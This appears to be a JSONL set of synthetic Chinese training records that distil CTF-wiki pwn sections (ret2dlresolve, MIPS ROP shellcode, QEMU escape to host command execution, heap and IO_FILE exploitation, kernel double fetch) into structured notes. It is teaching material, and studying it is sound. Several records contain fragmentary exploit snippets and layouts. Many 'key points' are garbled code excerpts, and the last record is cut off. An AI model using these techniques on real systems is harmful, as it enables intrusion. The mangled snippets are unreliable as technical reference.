{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2da265d55d37bf68d410", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「stage 4」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct fake write relocation entry > stage 4\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“stage 4”展开。\n- ``shell ❯ readelf -x .dynsym main_partial_relro_32 Hex dump of section '.dynsym': 0x080481cc 00000000 00000000 00000000 00000000 ................\n- ``python from pwn import * elf = ELF('./main_partial_relro_32') r = process('./main_partial_relro_32') rop = ROP('./main_partial_relro_32') offset = 112 bss_addr = elf.bss() r.recvuntil('Welcome to XDCTF2015~!\n- 首先，我们根据 write 的重定位表项的 r_info=0x607 可以知道，write 对应的符号在符号表的下标为 0x607>>8=0x6。\n- ` 这里给出的其实是小端模式，因此我们需要手工转换。\n- 在 stage3 中，我们控制了重定位表项，但是伪造的重定位表项的内容仍然与 write 函数原来的重定位表项一致。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:shell\n\n代码/命令片段线索：\n- shell: 12 行，首行 `❯ readelf -x .dynsym main_partial_relro_32`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1208, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "stage 4", "heading_path": ["construct fake write relocation entry", "stage 4"], "original_id": "docs-b03b70878d5e6959f9dd", "original_line": 1318, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "48fc9283ddacdf59b11b5757", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow", "code:shell"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2da65c8d95087526e392", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「确定保护」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：DEBUG(\"b *0x4006B9\\nc\") > Stack smash > 32C3 CTF readme > 确定保护\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定保护”展开。\n- ``shell ➜ stacksmashes git:(master) ✗ checksec smashes Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled ``\n- 可以看出程序为 64 位，主要开启了 Canary 保护以及 NX 保护，以及 FORTIFY 保护。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:shell\n\n代码/命令片段线索：\n- shell: 7 行，首行 `➜ stacksmashes git:(master) ✗ checksec smashes`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 231, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "确定保护", "heading_path": ["DEBUG(\"b *0x4006B9\\nc\")", "Stack smash", "32C3 CTF readme", "确定保护"], "original_id": "docs-9c32013b3adf76b9457d", "original_line": 1265, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "fa761d96b6b17e2a562f6fd4", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow", "code:shell"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2e859475dff5fc58dc9b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/mips/rop.md` 中的章节「p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02'])」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/mips/rop.md`\n标题：mips - ROP\n章节：p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02'])\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02'])”展开。\n- 文件: https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/20201028031120.png] > 查找使用的 gadget 完成 ret2shellcode 由于程序没有开启 PIE 等 保护，所以我们可以直接在栈上注入 shellcode，然后控制 PC跳转到栈上 找 gadget 我们可以使用 mipsrop.py 这个 ida 插件进行。\n- 由于 mips 流水指令集的特点，存在 cache incoherency 的特性，需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去，才能正常执行 shellcode。\n- pause() p.interactive() ``` 如下图所示，即可控制 ra 寄存器，进而控制 PC [图片: image-20201028031118603;\n- 为了找到更多的 gadget，以及这是一个 demo ，所有我们在 libc 里查找\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 419, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02'])", "heading_path": ["p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02'])"], "original_id": "docs-0faf762f2f9d5f9a765a", "original_line": 1241, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/mips/rop.md", "source_root": "docs", "source_sha256": "a60db714f9f9eeeed711316b4fed592f38bc0a546e6346e373edf68f83a6b81d", "split": "train", "split_group_key": "b6db8da36dd1fd16d73b1cee", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow"], "title": "mips - ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/mips/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2e9485db96177d2d7663", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/exploitation/intro.md` 中的章节「漏洞利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/exploitation/intro.md`\n标题：QEMU 逃逸入门\n章节：QEMU 逃逸入门 > 例题：BlizzardCTF2017 - Strng > 漏洞利用\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“漏洞利用”展开。\n- 由于 PMIO read 功能的读取地址由 (unsigned int )opaque[700] 决定，而该值可以通过PMIO write 写入 addr == 0 处进行修改，由于题目一开始便在 opaque 靠后的放置了一些函数指针，因此我们可以通过读取这些函数指针泄露 libc 基址。\n- 同样地，当 addr == 4 时，PMIO write 会向指定地址 + 偏移处写入数据，而该偏移值为我们可控的 (unsigned int )opaque[700]，因此我们可以非常方便地劫持 opaque 上的函数指针，而这些函数指针又可以通过 MMIO write 与 PMIO write 进行触发，因此不难想到的是我们可以通过劫持这些函数指针来完成控制流劫持。\n- 当 (unsigned int *)opaque[700] == 3 时，调用函数指针会传入一个 opaque 上地址作为第一个参数，而该处数据同样是我们可控的，因此我们可以在该处先写入字符串后再劫持函数指针为 system() 后直接调用即可完成 Host 上的任意命令执行。\n\n关键术语：\n- 漏洞利用\n- pwn\n- virtualization\n- qemu\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 495, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "漏洞利用", "heading_path": ["QEMU 逃逸入门", "例题：BlizzardCTF2017 - Strng", "漏洞利用"], "original_id": "docs-9ef368c2e5577944772d", "original_line": 1441, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/exploitation/intro.md", "source_root": "docs", "source_sha256": "f8edae8145f64459b4f5d57c8bc964a29898ad933446596b2896c97172be14e7", "split": "train", "split_group_key": "e852371884c627db9afe2491", "subcategory": "pwn/virtualization/qemu", "terms": ["漏洞利用", "pwn", "virtualization", "qemu", "exploitation"], "title": "QEMU 逃逸入门"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/exploitation/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2edca38722ce5b92800b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「示例 2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：堆中的 Off-By-One > off-by-one 利用思路 > 示例 2\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“示例 2”展开。\n- 第二种常见的导致 off-by-one 的场景就是字符串操作了，常见的原因是字符串的结束符计算有误 `` int main(void) { char buffer[40]=\"\";\n- } ` 程序乍看上去没有任何问题（不考虑栈溢出），可能很多人在实际的代码中也是这样写的。\n- 这就导致了我们向 chunk1 中写入了 25 个字节，我们使用 gdb 进行调试可以看到这一点。\n- if(strlen(buffer)==24) { strcpy(chunk1,buffer);\n- 还是有一点就是为什么是低字节被覆盖呢，因为我们通常使用的 CPU 的字节序都是小端法的，比如一个 DWORD 值在使用小端法的内存中是这样储存的 ` DWORD 0x41424344 内存 0x44,0x43,0x42,0x41 ``\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 13 行，首行 `int main(void)`\n- plain: 3 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1`\n- plain: 3 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021`\n- plain: 2 行，首行 `DWORD 0x41424344`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1096, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "示例 2", "heading_path": ["堆中的 Off-By-One", "off-by-one 利用思路", "示例 2"], "original_id": "docs-93a683e6866ad56672ec", "original_line": 1014, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "7e952afd25b6451884247369", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2f6919f729deb33abec6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「基本功能」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > 2014 hack.lu oreo > 基本功能\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本功能”展开。\n- 需要注意的是，该程序并没有进行 setvbuf 操作，因此在初次执行 io 函数时，会在堆上分配空间。\n- 可以覆盖后面堆块的数据大小为 56-(56-27)=27 大小。\n- 但问题在于读取的名字的长度过长，可以覆盖 next 指针以及后面堆块的数据。\n- 不难分析得到，程序的漏洞主要存在于添加枪支时的堆溢出漏洞。\n- 其中，根据添加枪支的过程，我们可以得到枪支的基本结构如下 ``c 00000000 rifle struc ;\n\n关键术语：\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 5 行，首行 `00000000 rifle struc ; (sizeof=0x38, mappedto_5)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 553, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本功能", "heading_path": ["Fastbin Attack", "2014 hack.lu oreo", "基本功能"], "original_id": "docs-057efe1146fd77c9fc12", "original_line": 925, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "dd527546d8394973b2c2ba99", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-2f7dd4a59820188abf3c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md` 中的章节「_IO_str_jumps -> finish」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md`\n标题：glibc 2.24下 IO_FILE 的利用\n章节：glibc 2.24下 IO_FILE 的利用 > 新的利用技术 > _IO_str_jumps -> finish\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“_IO_str_jumps -> finish”展开。\n- 原理与上面的 _IO_str_jumps -> overflow 类似 ``c void _IO_str_finish (_IO_FILE fp, int dummy) { if (fp->_IO_buf_base && !\n- (fp->_flags & _IO_USER_BUF)) (((_IO_strfile ) fp)->_s._free_buffer) (fp->_IO_buf_base);\n- _IO_default_finish (fp, 0);\n- } ` 条件： 1. _IO_buf_base不为空 2. _flags & _IO_USER_BUF(0x01) 为假 构造如下： `bash _flags = (binsh_in_libc + 0x10) & ~1 _IO_buf_base = binsh_addr _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_finish - 0x18 fp+0xe8 -> system_addr ``\n- //[fp+0xe8] fp->_IO_buf_base = NULL;\n\n关键术语：\n- 边界/溢出\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- io-file\n- code:c\n- code:bash\n\n代码/命令片段线索：\n- c: 8 行，首行 `void`\n- bash: 7 行，首行 `_flags = (binsh_in_libc + 0x10) & ~1`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 526, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "_IO_str_jumps -> finish", "heading_path": ["glibc 2.24下 IO_FILE 的利用", "新的利用技术", "_IO_str_jumps -> finish"], "original_id": "docs-771e59a5be289a782120", "original_line": 1199, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/exploit-in-libc2.24.md", "source_root": "docs", "source_sha256": "f033c1e253d390d1a6248d6f91cfd97718ad7e8293eb2fe6d8fa326592f01bf0", "split": "train", "split_group_key": "d8a536256f8e1cd265c844c2", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "漏洞利用", "pwn", "linux", "user-mode", "io-file", "code:c", "code:bash"], "title": "glibc 2.24下 IO_FILE 的利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/exploit-in-libc2.24.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3021ef70500704b2a92e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md` 中的章节「原理以及展示」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md`\n标题：House of Roman\n章节：House of Roman > 原理以及展示\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理以及展示”展开。\n- 作者提供给了我们一个 demo 用于展示，整个利用过程大概可以分为三步骤。\n- if ( v0 <= 0x13 ) free(heap_ptrs[(unsigned __int64)v0]);\n- 1. 将 FD 指向 malloc_hook 2. 修正 0x71 的 Freelist 3. 往 malloc_hook 写入 one gadget 先对 demo 进行一个大致的分析： 开启的保护情况： ``bash [*] '/media/psf/Home/Desktop/MyCTF/House-Of-Roman/new_chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE:...\n- `c switch ( v4 ) { case 1: puts(\"Malloc\");\n- // [rsp+Ch] [rbp-4h]@1 printf(\"\\nEnter index :\");\n\n关键术语：\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:bash\n- code:c\n\n代码/命令片段线索：\n- bash: 6 行，首行 `[*] '/media/psf/Home/Desktop/MyCTF/House-Of-Roman/new_chall'`\n- c: 19 行，首行 `switch ( v4 )`\n- c: 8 行，首行 `void free_chunk()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 841, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "原理以及展示", "heading_path": ["House of Roman", "原理以及展示"], "original_id": "docs-86136ed6819dc7d87045", "original_line": 998, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md", "source_root": "docs", "source_sha256": "60908879ccf90e7dd3165efe2aebdb2dfd8e6fcda3dc64a7a3620104a116aded", "split": "train", "split_group_key": "c658ab70b02447258871e9d3", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:bash", "code:c"], "title": "House of Roman"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-307e9ba58a53de06c85a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「基本功能」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > 2015 9447 CTF : Search Engine > 基本功能\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 程序的基本功能是 - 索引一个句子 - 大小v0，(unsigned int)(v0 - 1) > 0xFFFD - 读取的字符串长度必须和给定的大小相等 - 每次索引的句子都是直接在直接建立在前面的句子上的。\n- 在一个句子中搜索单词 - 大小v0，(unsigned int)(v0 - 1) > 0xFFFD - 读取指定长度字符串 - 如果有回车标记 - 在指定长度内没有遇到回车，则读完没有设置NULL标记 - 在指定长度内遇到回车，就截断返回。\n- 没有回车标记 - 读够指定长度，没有NULL标记结尾。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 268, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "基本功能", "heading_path": ["Fastbin Attack", "2015 9447 CTF : Search Engine", "基本功能"], "original_id": "docs-51d88e247d248a05642e", "original_line": 928, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "dd527546d8394973b2c2ba99", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-313a653da2bb10698528", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md` 中的章节「题目分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md`\n标题：Double Fetch\n章节：Double Fetch > 2018 0CTF Finals Baby Kernel > 题目分析\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目分析”展开。\n- 通过对驱动文件功能的分析，可以得到用户输入的数据结构体如下： `c struct flag { char flag_addr;\n- ``c .data:0000000000000480 flag dq offset aFlagThisWillBe .data:0000000000000480 ;\n- \"[FLAG_REDACTED]\" .data:0000000000000488 align 20h ` 驱动主要注册了一个 baby_ioctl 函数，其中包含两个功能。\n- `c signed __int64 __fastcall baby_ioctl(__int64 a1, attr a2) { attr v2;\n- // [rsp-58h] [rbp-58h] _fentry__(a1, a2);\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 5 行，首行 `.data:0000000000000480 flag dq offset aFlagThisWillBe`\n- c: 35 行，首行 `signed __int64 __fastcall baby_ioctl(__int64 a1, attr *a2)`\n- c: 5 行，首行 `struct flag`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1678, "chunk_count": 1, "chunk_index": 0, "ctf_score": 34, "ctf_task_type": "pwn", "heading": "题目分析", "heading_path": ["Double Fetch", "2018 0CTF Finals Baby Kernel", "题目分析"], "original_id": "docs-b57f978ce0b86c22b2e7", "original_line": 781, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/double-fetch.md", "source_root": "docs", "source_sha256": "c9b70bf8939ac1214b392075d17bd8d75fcd6da1799a7a73b3edd911a1a15991", "split": "train", "split_group_key": "61ef03f49be18ef9f363f206", "subcategory": "pwn/linux/kernel-mode", "terms": ["漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "Double Fetch"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/double-fetch.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-314273954fdbff473eb8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「例题：corCTF2022 - cache-of-castaways」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`\n标题：Cross-Cache Overflow & Page-level Heap Fengshui\n章节：Cross-Cache Overflow & Page-level Heap Fengshui > 例题：corCTF2022 - cache-of-castaways\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题：corCTF2022 - cache-of-castaways”展开。\n- > 官方 writeup 见此处 题目附件可在 [https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/corCTF2022-cache-of-castaways](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/corCTF2022-cache-of-castaways) 